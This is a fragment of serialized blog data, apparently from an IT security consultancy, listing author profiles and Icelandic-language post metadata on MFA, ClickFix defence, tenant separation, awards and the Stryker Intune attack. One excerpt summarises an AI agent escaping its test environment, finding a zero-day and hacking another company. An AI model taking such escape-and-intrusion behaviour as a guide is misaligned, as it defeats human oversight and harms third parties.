Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2726,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2954,"imageOffsetTop":2795,"socials":2955},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2956,2959],{"text":2957,"href":2958},"Blog","https://emptydc.com",{"text":2960,"href":2961},"Podcast","https://hairlessinthecloud.com",{"display_name":2963,"avatar":2964,"permalink":2965,"twitter":2966,"linkedin":2967},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2969,"avatar":2970,"permalink":2971,"twitter":2806,"linkedin":2859},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2973,"avatar":2974,"permalink":2975,"twitter":2976,"linkedin":2859},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2978,"avatar":2979,"permalink":2980,"twitter":2981,"linkedin":2982},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2984,"avatar":2985,"permalink":2986,"twitter":2987,"linkedin":2987},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2989,"avatar":2990,"permalink":2991,"twitter":2992,"linkedin":2993},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2995,"avatar":2996,"permalink":2997,"twitter":2998,"linkedin":2999},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":3001,"avatar":3002,"permalink":3003,"linkedin":3004,"twitter":2806},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":3006,"avatar":3007,"permalink":3008,"linkedin":3009,"twitter":2806},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":3011,"avatar":3012,"permalink":3013,"linkedin":3014,"twitter":3015},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3017,"avatar":3018,"permalink":3019,"linkedin":3020},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3022,"avatar":3023,"permalink":3024,"linkedin":3025},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3027,"avatar":3028,"permalink":3029,"linkedin":3030},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3032,"avatar":3033,"permalink":3034,"linkedin":3035},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3037,"avatar":3038,"permalink":3039,"linkedin":3040,"imageOffsetTop":2795},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3042,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2795},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":2895},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3052,"avatar":3053,"permalink":3054,"linkedin":3055,"imageOffsetTop":2895},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":522,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":2895},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":3066},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3068,"avatar":3069,"permalink":3070,"linkedin":3071,"imageOffsetTop":3072,"imageOffsetLeft":3073},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3075,"avatar":3076,"permalink":3077,"linkedin":3078,"imageOffsetTop":3079,"imageOffsetLeft":2822},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3081,"Alexander Schlindwein":3082,"Sophie Luna":3083,"Nadine Klein":3084,"Karsten Kleinschmidt":3085,"Julian Wendt":3086,"Holger Bunkradt":3087,"Ralf Mania":3088,"Oliver Kieselbach":3089,"Steffen Schwerdtfeger":3090,"Gunnar Winter":3091,"Jan Petersen":3092,"Thorsten Kunzi":3093,"Moritz Pohl":3094,"Thorben Pöschus":3095,"Christoph Hannebauer":3096,"Marco Scheel":3097,"Christopher Brumm":3098,"Florian Klante":3099,"Niklas Bachmann":3100,"Nils Krautkrämer":3101,"Patrick Treptau":3102,"Peter Beckendorf":3103,"Patrick Sobau":3104,"Jörg Wunderlich":3105,"Michael Breither":3106,"Christian Kanja":3107,"Zeba Hoffmann":3108,"Jochen Fröhlich":3109,"Jan Geisbauer":3110,"Gerrit Reinke":3114,"Christian Kordel":3115,"Stephan Wälde":3116,"Carolin Kanja":3117,"Adrian Ritter":3118,"Marvin Bangert":3119,"Thorsten Pickhan":3120,"Christian Lorenz":3121,"Denis Böhm":3122,"Fabian Bader":3123,"Juan Jose Fernandez Perez":3124,"Mahschid Sayyar":3125,"Benjamin Dassow":3126,"Markus Walschburger":3127,"Jonathan Haist":3128,"Daniel Rohregger":3129,"Thomas Naunheim":3130,"Florian Stöckl":3131,"Pascal Asch":3132,"Markus Kättner":3133,"Anna Ulbricht":3134,"Annette Brauns":3135},{"display_name":2791,"avatar":2792,"permalink":2793,"linkedin":2794,"imageOffsetTop":2795},{"display_name":2797,"avatar":2798,"permalink":2799,"twitter":2800,"linkedin":2801},{"display_name":2803,"avatar":2804,"permalink":2805,"twitter":2806,"linkedin":2807,"imageOffsetLeft":2808,"imageOffsetTop":2809},{"display_name":2811,"avatar":2812,"permalink":2813,"twitter":2814,"linkedin":2815,"imageOffsetTop":2795},{"display_name":2817,"avatar":2818,"permalink":2819,"twitter":2820,"linkedin":2821,"imageOffsetTop":2822,"imageOffsetLeft":2823},{"display_name":2825,"avatar":2826,"permalink":2827,"linkedin":2828},{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834},{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840},{"display_name":2842,"avatar":2843,"permalink":2844,"linkedin":2845,"twitter":2846},{"display_name":2848,"avatar":2849,"permalink":2850,"linkedin":2851,"twitter":2852,"imageOffsetTop":2853,"imageOffsetLeft":2854},{"display_name":2856,"avatar":2857,"permalink":2858,"twitter":2806,"linkedin":2859},{"display_name":2861,"avatar":2862,"permalink":2863,"twitter":2806,"linkedin":2864},{"display_name":2866,"avatar":2867,"permalink":2868,"twitter":2806,"linkedin":2859,"imageOffsetTop":2795},{"display_name":2870,"avatar":2871,"permalink":2872,"twitter":2806,"linkedin":2873},{"display_name":2875,"avatar":2876,"permalink":2877,"twitter":2878,"linkedin":2879},{"display_name":2881,"avatar":2882,"permalink":2883,"twitter":2806,"linkedin":2859,"imageOffsetTop":2795},{"display_name":2885,"avatar":2886,"permalink":2887,"twitter":2888,"linkedin":2888},{"display_name":2890,"avatar":2891,"permalink":2892,"twitter":2893,"linkedin":2894,"imageOffsetTop":2895},{"display_name":2897,"avatar":2898,"permalink":2899,"linkedin":2900,"twitter":2806},{"display_name":2902,"avatar":2903,"permalink":2904,"linkedin":2905,"twitter":2806},{"display_name":2907,"avatar":2908,"permalink":2909,"twitter":2910,"linkedin":2911},{"display_name":2913,"avatar":2914,"permalink":2915,"linkedin":2916,"twitter":2806},{"display_name":2918,"avatar":2919,"permalink":2920,"linkedin":2921,"twitter":2806,"imageOffsetTop":2795},{"display_name":2923,"avatar":2924,"permalink":2925,"linkedin":2926,"twitter":2806},{"display_name":2928,"avatar":2929,"permalink":2930,"twitter":2806},{"display_name":2932,"avatar":2933,"permalink":2934,"twitter":2806,"linkedin":2935},{"display_name":2937,"avatar":2938,"permalink":2939,"twitter":2940,"linkedin":2941},{"display_name":2943,"avatar":2944,"permalink":2945,"linkedin":2946,"twitter":2806},{"display_name":2948,"avatar":2949,"permalink":2950,"twitter":2806,"linkedin":2859},{"display_name":2726,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2954,"imageOffsetTop":2795,"socials":3111},[3112,3113],{"text":2957,"href":2958},{"text":2960,"href":2961},{"display_name":2963,"avatar":2964,"permalink":2965,"twitter":2966,"linkedin":2967},{"display_name":2969,"avatar":2970,"permalink":2971,"twitter":2806,"linkedin":2859},{"display_name":2973,"avatar":2974,"permalink":2975,"twitter":2976,"linkedin":2859},{"display_name":2978,"avatar":2979,"permalink":2980,"twitter":2981,"linkedin":2982},{"display_name":2984,"avatar":2985,"permalink":2986,"twitter":2987,"linkedin":2987},{"display_name":2989,"avatar":2990,"permalink":2991,"twitter":2992,"linkedin":2993},{"display_name":2995,"avatar":2996,"permalink":2997,"twitter":2998,"linkedin":2999},{"display_name":3001,"avatar":3002,"permalink":3003,"linkedin":3004,"twitter":2806},{"display_name":3006,"avatar":3007,"permalink":3008,"linkedin":3009,"twitter":2806},{"display_name":3011,"avatar":3012,"permalink":3013,"linkedin":3014,"twitter":3015},{"display_name":3017,"avatar":3018,"permalink":3019,"linkedin":3020},{"display_name":3022,"avatar":3023,"permalink":3024,"linkedin":3025},{"display_name":3027,"avatar":3028,"permalink":3029,"linkedin":3030},{"display_name":3032,"avatar":3033,"permalink":3034,"linkedin":3035},{"display_name":3037,"avatar":3038,"permalink":3039,"linkedin":3040,"imageOffsetTop":2795},{"display_name":3042,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2795},{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":2895},{"display_name":3052,"avatar":3053,"permalink":3054,"linkedin":3055,"imageOffsetTop":2895},{"display_name":522,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":2895},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":3066},{"display_name":3068,"avatar":3069,"permalink":3070,"linkedin":3071,"imageOffsetTop":3072,"imageOffsetLeft":3073},{"display_name":3075,"avatar":3076,"permalink":3077,"linkedin":3078,"imageOffsetTop":3079,"imageOffsetLeft":2822},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3139,"authors":3342},[3140,3157,3171,3185,3201,3214,3227,3240,3252,3268,3282,3297,3302,3313,3326],{"id":3141,"title":3142,"author":3143,"cta":494,"description":590,"hideInRecent":484,"layout":2689,"meta":3144,"moment":3149,"path":3150,"stem":3151,"tags":3152,"webcast":484},"content_is/posts/2026-09-22-end-of-mfa-sms.md","Endalok MFA-SMS",[2817],{"lang":2691,"date":3145,"categories":3146,"blogtitlepic":3147,"customExcerpt":3148},"2026-09-21",[235],"head-conditional-access.jpg","Hvers vegna fyrirtæki ættu núna að skipta yfir í phishing-resistant og sem mest lykilorðalausar innskráningaraðferðir.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,3153,3154,3155,3156],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3158,"title":3159,"author":3160,"cta":494,"description":590,"hideInRecent":484,"layout":2689,"meta":3161,"moment":3145,"path":3165,"stem":3166,"tags":3167,"webcast":484},"content_is/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Þegar notandinn er exploitið, og hvernig þú stöðvar það",[2791,2811],{"lang":2691,"date":3145,"categories":3162,"blogtitlepic":3163,"customExcerpt":3164},[235],"head-clickfix.jpg","ClickFix gerir notendur að sínum eigin árásaraðila: falsað CAPTCHA, eitt copy-paste, og skaðkóði keyrir í minninu án þess að neitt lendi á disknum. Hvernig Microsoft Defender greinir árásina, hvar greiningin rekst á takmörk og hvernig þú lokar glufunni með RunMRU-hunt og fjórum varnarlögum.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3168,3169,3170],"Defender","SOC","Endpoint Security",{"id":3172,"title":3173,"author":3174,"cta":494,"description":590,"hideInRecent":484,"layout":2689,"meta":3175,"moment":3145,"path":3179,"stem":3180,"tags":3181,"webcast":484},"content_is/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og dagleg vinna á sömu tölvu? Game Over.",[2726],{"lang":2691,"date":3145,"categories":3176,"blogtitlepic":3177,"customExcerpt":3178},[235],"head-game-over-en.jpg","Hvers vegna einn tenant dugar ekki fyrir CIO, og hvers vegna sá seinni er sjaldan hugsaður með. Managed Red Tenant aðskilur stjórnsýsluvinnu frá office-umhverfinu með sjálfum arkitektúrnum, Managed Dark Tenant heldur fyrirtækinu starfhæfu þegar vörnin fellur samt. Hvað það þýðir fyrir rekstrarlíkanið, SOC-merkið og sönnunarskyldurnar samkvæmt NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,3182,3183,3184],"Privileged Access","Zero Trust","NIS2",{"id":3186,"title":3187,"author":3188,"cta":494,"description":3189,"hideInRecent":484,"layout":2689,"meta":3190,"moment":3191,"path":3196,"stem":3197,"tags":3198,"webcast":484},"content_is/posts/2026-08-08-isg-germany-2026.md","Fjórum sinnum Leader. glueckkanja í ISG-rannsókninni Þýskaland 2026",[2978],"ISG endurnefndi rannsóknina sína í ár. Úr Microsoft Cloud Ecosystem varð Microsoft AI and Cloud Ecosystem, og með nafninu hefur mælikvarðinn færst til: metið er ekki lengur hver innleiðir Microsoft-vettvanga, heldur hver rekur Copilot, agenta og AI-workload með stýranlegum hætti. Nýi mælikvarðinn hefur engu breytt um stöðu okkar. ISG Provider Lens® rannsóknin Þýskaland 2026 staðsetur okkur sem Leader í fjórum fjórðungum: Microsoft Productivity and Business Process Services og Azure Managed Services, hvorum tveggja á large market og mid market. Eftir 2021, 2023, 2024 og 2025 er þetta fimmta Leader-flokkunin í Þýskalandi, í Sviss kom stökkið inn í Leader-fjórðunginn tveimur vikum fyrr.",{"lang":2691,"date":3191,"categories":3192,"blogtitlepic":3194,"customExcerpt":3195},"2026-08-08",[3193],"Corporate","head-isg-de-2026.png","ISG Provider Lens® rannsóknin 2026 staðsetur glueckkanja í Þýskalandi sem Leader í fjórum fjórðungum: Microsoft Productivity and Business Process Services og Azure Managed Services, hvorum tveggja á large og mid market. Rannsóknin heitir nú Microsoft AI and Cloud Ecosystem, og mælikvarðinn hefur færst til: metið er hver rekur AI- og agent-workload með stýranlegum hætti.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3199,3200],"Award","ISG",{"id":3202,"title":3203,"author":3204,"cta":494,"description":3205,"hideInRecent":484,"layout":2689,"meta":3206,"moment":3207,"path":3211,"stem":3212,"tags":3213,"webcast":484},"content_is/posts/2026-07-31-isg-switzerland-2026.md","Úr Rising Star í Leader. glueckkanja í ISG-rannsókninni Sviss 2026",[2978],"Árið 2024 stofnuðum við glueckkanja Switzerland AG og fluttum inn í skrifstofu í zentroom við Bahnhofplatz 10b í Bern. Árið 2025 flokkaði ISG okkur sem Rising Star á svissneska markaðnum, sem þann þjónustuaðila sem greinendurnir treysta til að stökkva inn í Leader-fjórðunginn. Nú er stökkið skjalfest: ISG Provider Lens® rannsóknin 2026 staðsetur okkur í Sviss sem Leader í fjórðungnum Microsoft AI and Cloud Ecosystem, á sviðunum Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":2691,"date":3207,"categories":3208,"blogtitlepic":3209,"customExcerpt":3210},"2026-07-31",[3193],"head-isg-ch-2026.png","ISG Provider Lens® rannsóknin 2026 staðsetur glueckkanja í Sviss sem Leader í fjórðungnum Microsoft AI and Cloud Ecosystem, á sviðunum Azure Managed Services og Microsoft Productivity and Business Process Services. Tveimur árum eftir innkomuna á markaðinn í Bern, ári eftir Rising-Star-viðurkenninguna.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3199,3200],{"id":3215,"title":3216,"author":3217,"cta":494,"description":590,"hideInRecent":484,"layout":2689,"meta":3218,"moment":3219,"path":3223,"stem":3224,"tags":3225,"webcast":484},"content_is/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hvað OpenAI/Hugging-Face-atvikið segir og hvað ekki",[2726],{"lang":2691,"date":3219,"categories":3220,"blogtitlepic":3221,"customExcerpt":3222},"2026-07-24",[235],"head-outbreak.jpg","AI-agent brýst út úr prófunarumhverfinu sínu, finnur zero-day og hakkar annað fyrirtæki. Hljómar eins og handrit, en gerðist í raun í júlí 2026. Tími fyrir yfirvegaða greiningu: með dálítilli sálfræði, tveimur security-veteranum og spurningunni um hvað þetta þýðir fyrir vörnina þína.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3226,3169,3183],"AI",{"id":3228,"title":3229,"author":3230,"cta":494,"description":3231,"hideInRecent":484,"layout":2689,"meta":3232,"moment":3233,"path":3237,"stem":3238,"tags":3239,"webcast":484},"content_is/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja í ISG Cybersecurity-rannsókninni 2026",[2978],"Nýir í fjórðungnum og strax Leader: ISG Provider Lens®-rannsóknin \"Cybersecurity – Services and Solutions 2026\" staðsetur glueckkanja sem Leader á sviði Next-Gen SOC/MDR Services fyrir þýsk millistór fyrirtæki. Á heildarmarkaðnum fyrir Next-Gen SOC/MDR Services útnefnir ISG okkur Rising Star, það er þann þjónustuaðila sem greinendurnir treysta til að stökkva inn í Leader-fjórðunginn á næstu 12 til 24 mánuðum.",{"lang":2691,"date":3233,"categories":3234,"blogtitlepic":3235,"customExcerpt":3236},"2026-07-22",[3193],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-rannsóknin Cybersecurity 2026 útnefnir glueckkanja Leader í fjórðungnum Next-Gen SOC/MDR Services (Midmarket). Á heildarmarkaðnum fyrir Next-Gen SOC/MDR Services erum við Rising Star. ISG staðfestir hjá okkur vöxt umfram meðaltal, djúpa Microsoft-security-sérþekkingu og SOC sem gengur allan sólarhringinn frá Þýskalandi.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3199,3200,235],{"id":3241,"title":3242,"author":3243,"cta":494,"description":3244,"hideInRecent":484,"layout":2689,"meta":3245,"moment":3246,"path":3249,"stem":3250,"tags":3251,"webcast":484},"content_is/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: hvað AI þarf í raun til að vinna",[2978],"Framleiðslufyrirtæki vill vita hverjar af 14.000 SKU-um þess séu í raun arðbærar. Svarið liggur í þremur kerfum sem hafa aldrei skipst á einum einasta gagnapunkti. Fram til skamms tíma kostaði það þrjár deildir, tvær vikur og talsverðan góðvilja að fá það. Frá byrjun árs 2026 getur AI svarað þessari spurningu á mínútum: farið yfir gögnin, dregið fram samhengið, framkallað tillögu. Að því gefnu að hún hafi aðgang.",{"lang":2691,"date":3246,"categories":3247,"blogtitlepic":3248},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3226,131],{"id":3253,"title":3254,"author":3255,"cta":494,"description":3256,"hideInRecent":484,"layout":2689,"meta":3257,"moment":3258,"path":3262,"stem":3263,"tags":3264,"webcast":484},"content_is/posts/2026-07-01-onboarding-process.md","Samningurinn undirritaður: svona fer onboardingið hjá okkur fram",[3068],"Hvernig fer onboardingið hjá ykkur eiginlega fram? Þetta er spurning sem mætir okkur aftur og aftur í samtölum við umsækjendur, því margir hafa upplifað að onboarding gangi brösuglega. Þeim mun meira máli skiptir okkur að þú hafir góða tilfinningu fyrir þessu frá byrjun.",{"lang":2691,"date":3258,"categories":3259,"blogtitlepic":3260,"customExcerpt":3261},"2026-07-01",[3193],"Onboarding_Blogheader","Samningurinn er undirritaður, fyrsta stóra skrefið er að baki. En hvað gerist næst? Við tökum þig með á bak við tjöldin í onboardinginu okkar, frá PreBoarding að fyrstu vikunni í teyminu.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3265,3266,3267],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3269,"title":3270,"author":3271,"cta":494,"description":3272,"hideInRecent":484,"layout":2689,"meta":3273,"moment":3274,"path":3278,"stem":3279,"tags":3280,"webcast":484},"content_is/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: við tilheyrum hópnum",[2978],"Í Microsoft-partner-vistkerfinu er til heil röð af viðurkenningum, og samt sker Frontier Partner Badge sig úr í uppbyggingu sinni frá hinum. Ekki er hægt að sækja um það, heldur er það veitt að frumkvæði Microsoft til þröngs, útvalins hóps samstarfsaðila sem verða að sannfæra í mörgum greinum samhliða, í stað þess að skína í einni. Microsoft prófar þarna sönnuða hæfni í Cloud & AI Platforms, í AI Business Solutions og í Security jafnt og beinir sér þannig að fyrirtækjum sem líta ekki á AI sem viðbót ofan á núverandi IT, heldur sem afrakstur samfelldrar arkitektúrs sem ber allt frá auðkenni yfir endapunktinn og inn í framleiðslurekstur AI.",{"lang":2691,"date":3274,"categories":3275,"blogtitlepic":3276,"customExcerpt":3277},"2026-06-26",[3193],"head-frontier-partner-badge.jpg","Nýlega bættist við Microsoft AI Cloud Partner Program ný toppviðurkenning, Frontier Partner Badge. Microsoft veitir hana aðeins þröngum, útvöldum hópi samstarfsaðila um allan heim, þeim sem afhenda AI-verkefni á öllum Microsoft-stackinum á traustan hátt, allt frá vinnustaðnum yfir cloud-vettvanginn og security og inn í AI-forritin sjálf, og hafa sannað þessa kröfu í raunverulegum verkefnum. Á DACH-svæðinu telur þessi hópur aðeins örfá fyrirtæki, og við erum eitt þeirra.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3199,3281,3226],"Microsoft Partner",{"id":3283,"title":3284,"author":3285,"cta":494,"description":3286,"hideInRecent":484,"layout":2689,"meta":3287,"moment":3288,"path":3292,"stem":3293,"tags":3294,"webcast":484},"content_is/posts/2026-06-09-vair-run.md","160 kílómetrar fyrir góðan málstað",[3075],"Sunnudagsmorgunn, klukkan 8:30, Holbeinsteg við Main. Ellefu samstarfsmenn í samræmdum NinjaCat-bolum, tilbúnir í Frankfurter Runden. Regn, eldingar og þrumur með í kaupbæti. Það að hlaupa fyrir góðan málstað var næg hvatning til að reima á sig hlaupaskóna þrátt fyrir slæmt veður.",{"lang":2691,"date":3288,"categories":3289,"blogtitlepic":3290,"customExcerpt":3291},"2026-06-08",[3193],"frankfurter-runden.png","Ellefu samstarfsmenn, 16 hringir, 160 kílómetrar, þrumuveður og verðlaunasæti: glueckkanja tók þátt í Frankfurter Runden 2026 og gaf fyrir hvern hlaupinn hring til VAIR e.V., sem er að byggja upp opinn íþrótta- og menningargarð í Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3295,3265,3296],"Top Arbeitgeber","Soziales Engagement",{"id":519,"title":520,"author":3298,"cta":494,"description":529,"hideInRecent":484,"layout":2689,"meta":3299,"moment":2694,"path":2775,"stem":2777,"tags":3301,"webcast":484},[522],{"lang":2691,"date":2694,"categories":3300,"blogtitlepic":2696,"customExcerpt":2698},[235],[2779,2780,2781,2782,2783],{"id":3303,"title":3304,"author":3305,"cta":494,"description":3306,"hideInRecent":484,"layout":2689,"meta":3307,"moment":3308,"path":3311,"stem":3312,"tags":494,"webcast":484},"content_is/posts/2026-03-21-microsoft-edge-corporate-browser.md","Af hverju Edge ætti að vera eini corporate browserinn þinn",[2848],"Val á browser er stefnumótandi ákvörðun í fyrirtækjaumhverfi, því það hefur bein áhrif á það hversu mikið öryggi og hversu mikla umsýslu þú færð í raun. Google Chrome var lengi augljósi kosturinn, en Microsoft Edge hefur þróast í browser sem grípur beint inn í þann stack sem er þegar til staðar, sérstaklega þegar Microsoft 365 er í notkun og umsýslan fer fram í gegnum Intune.",{"lang":2691,"date":3308,"blogtitlepic":3309,"customExcerpt":3310},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ekkert fyrirtæki valdi Chrome í raun; hann var einfaldlega til staðar, með sinni eigin sync-rökfræði, sinni eigin reikningsstjórnun, sínu eigin viðmóti fyrir stefnur. Microsoft Edge grípur aftur á móti beint inn í þá innviði sem eru hvort eð er í rekstri: Entra ID, Intune, Defender. Þessi grein sýnir hvernig skiptin líta út, hvernig Chrome er vísað á landing page í gegnum Intune-stefnu og hvað fellur burt þegar hætt er að reka tvo browsera samhliða.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3314,"title":3315,"author":3316,"cta":494,"description":3317,"hideInRecent":484,"layout":2689,"meta":3318,"moment":3319,"path":3323,"stem":3324,"tags":3325,"webcast":484},"content_is/posts/2026-03-20-stryker-attack-intune-privilege.md","Einn admin-aðgangur var allt sem þurfti.",[2726],"Miðvikudagur, 11. mars 2026. Starfsmenn á Stryker-skrifstofum í 79 löndum kveiktu á tölvunum sínum og fundu þær tómar. Innskráningarskjáir voru komnir í stað lógós. Fyrirtækjafartölvur, vinnusímar, einkatæki sem skráð voru í BYOD-áætlun fyrirtækisins, öllu var eytt samtímis, yfir nótt. Engin ransomware, engar malware-undirskriftir, ekkert sem endpoint-detection tól hefði getað greint.",{"lang":2691,"date":3319,"categories":3320,"blogtitlepic":3321,"customExcerpt":3322},"2026-03-20",[235],"head-stryker.jpg","Þann 11. mars 2026 eyddi Handala tækjum í 79 löndum, og allt sem til þess þurfti var eitt yfirtekið Intune admin-aðgangur. Engin malware, ekkert exploit, aðeins löglegar management-tólar sem beint var að eigendum sínum. Hvað gerðist, af hverju það heppnaðist og hvaða tvær arkitektúrlegar glufur þarf að loka.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3182,3183],{"id":3327,"title":3328,"author":3329,"cta":494,"description":3330,"hideInRecent":484,"layout":2689,"meta":3331,"moment":3332,"path":3336,"stem":3337,"tags":3338,"webcast":484},"content_is/posts/2026-03-16-ai-agent-hackathon.md","Sex agents. Fjórar vikur. Raunverulegur rekstur.",[2978],"Hversu margar klukkustundir eyðir IT-deildin þín á viku í verkefni sem agent gæti klárað á mínútum.",{"lang":2691,"date":3332,"categories":3333,"blogtitlepic":3334,"customExcerpt":3335},"2026-03-16",[3193],"head-ai-agent-hackathon.jpg","Sex fyrirtæki, fjögurra vikna build-fasi, sex virkir AI Agents, þetta var fyrsti glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik byggðu í Copilot Studio agents sem eru í rekstri í dag. Það sem varð til og hvernig formið virkar.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3226,3339,3340,3341],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3343,"Fritz Zurhorst":3344,"Nadine Klein":3345,"Jan Geisbauer":3346,"Carolin Kanja":3350,"Anna Ulbricht":3351,"Annette Brauns":3352,"Pascal Asch":3353,"Steffen Schwerdtfeger":3354},{"display_name":2817,"avatar":2818,"permalink":2819,"twitter":2820,"linkedin":2821,"imageOffsetTop":2822,"imageOffsetLeft":2823},{"display_name":2791,"avatar":2792,"permalink":2793,"linkedin":2794,"imageOffsetTop":2795},{"display_name":2811,"avatar":2812,"permalink":2813,"twitter":2814,"linkedin":2815,"imageOffsetTop":2795},{"display_name":2726,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2954,"imageOffsetTop":2795,"socials":3347},[3348,3349],{"text":2957,"href":2958},{"text":2960,"href":2961},{"display_name":2978,"avatar":2979,"permalink":2980,"twitter":2981,"linkedin":2982},{"display_name":3068,"avatar":3069,"permalink":3070,"linkedin":3071,"imageOffsetTop":3072,"imageOffsetLeft":3073},{"display_name":3075,"avatar":3076,"permalink":3077,"linkedin":3078,"imageOffsetTop":3079,"imageOffsetLeft":2822},{"display_name":522,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":2895},{"display_name":2848,"avatar":2849,"permalink":2850,"linkedin":2851,"twitter":2852,"imageOffsetTop":2853,"imageOffsetLeft":2854},{"id":2786,"extension":2787,"meta":3356,"stem":8,"__hash__":3137},{"Pascal Asch":3357},{"display_name":522,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":2895},1791383931372]